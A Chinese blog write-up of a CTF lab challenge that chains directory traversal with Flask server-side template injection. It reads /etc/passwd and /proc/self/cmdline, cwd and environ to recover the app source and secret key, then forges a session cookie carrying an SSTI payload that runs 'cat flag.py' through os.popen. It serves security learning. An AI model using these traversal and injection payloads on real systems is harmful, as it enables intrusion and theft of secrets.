0 到1 ctfer:arf_3 任意文件读取+服务器模板注入漏洞

这个靶场包含了三个知识点:

  • 目录遍历漏洞
  • 服务器端模板注入漏洞
  • Linux相关知识

参考资料:

https://xz.aliyun.com/t/3679

https://blog.csdn.net/wuyaowangchuan/article/details/109784072

拿到靶场,看URL是127.0.0.1:5000,这个URL通常出现在python中的flask,猜想这应该和服务器模板注入有关

image

随便输入一个字符a
image
这个a回显在了这里
输入7*7试试看:
image
似乎这个模板注入点并不在这

修改URL的参数,发现似乎好像可以进行文件目录的遍历:
image

直接一步到位试试,发现没有权限访问flag
image

尝试访问passwd文件
image成功

/proc目录
/proc目录通常存储着进程动态运行的各种信息,本质上是一种虚拟目录。注意:如果查看非当前进 程的信息,pid是可以进行暴力破解的,如果要查看当前进程,只需/proc/self/代替/proc/[pid]/即可。
对应目录下的cmdline可读出比较敏感的信息,如使用mysql-uxxx-pxxxx登录MySQL,会在
cmdline中显示明文密码: /proc/self/cmdline
有时我们无法获取当前应用所在的目录,通过cwd命令可以直接跳转到当前目录: /proc/self/cwd/
环境变量中可能存在secret_key,这时也可以通过environ进行读取:/proc/self/environ/

综上,可以读取/etc/self/cmdline来寻找答案:
image
有一个python文件:server.py
(不要被迷惑,这是server.py,不信你查看源代码)

我们使用cwd跳转到当前目录,访问这个server.py文件
image
复制到Unicode编码转换一下
image
于是就成了白盒测试:
通过转码,成了这样:

<h1>Article Content:</h1> <br>#!/usr/bin/python
import os
from flask import ( Flask, render_template, request, url_for, redirect, session, render_template_string )
from flask_session import Session

app = Flask(__name__)
execfile('flag.py')
execfile('key.py')

FLAG = flag
app.secret_key = key
@app.route("/n1page", methods=["GET", "POST"])
def n1page():
    if request.method != "POST":
        return redirect(url_for("index"))
    n1code = request.form.get("n1code") or None
    if n1code is not None:
        n1code = n1code.replace(".", "").replace("_", "").replace("{","").replace("}","")
    if "n1code" not in session or session['n1code'] is None:
        session['n1code'] = n1code
    template = None
    if session['n1code'] is not None:
        template = '''<h1>N1 Page</h1> <div class="row> <div class="col-md-6 col-md-offset-3 center"> Hello : %s, why you don't look at our <a href='/article?name=article'>article</a>? </div> </div> ''' % session['n1code']
        session['n1code'] = None
    return render_template_string(template)

@app.route("/", methods=["GET"])
def index():
    return render_template("main.html")
@app.route('/article', methods=['GET'])
def article():
    error = 0
    if 'name' in request.args:
        page = request.args.get('name')
    else:
        page = 'article'
    if page.find('flag')>=0:
        page = 'notallowed.txt'
    try:
        template = open('/home/nu11111111l/articles/{}'.format(page)).read()
    except Exception as e:
        template = e

    return render_template('article.html', template=template)

if __name__ == "__main__":
    app.run(host='0.0.0.0', debug=False)

根据水平有限的代码审计,我们的flag是在flag.py里面,secret_key是在key.py里面
我们可以伪造session
先获取一下key
image

然后开始伪造一下session:
session目标是n1code
下面是一个读取文件的payload

{'n1code': '{{\'\'.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__[\'os\'].popen(\'cat flag.py\').read()}}'}

通过代码审计,它会过滤,所以还需要转换成base64,附加上我们的密匙
交给脚本:
https://github.com/noraj/flask-session-cookie-manager
image
注入session,即可得出flag
image

posted @ 2021-08-31 17:03  Zeker62  阅读(226)  评论(0编辑  收藏  举报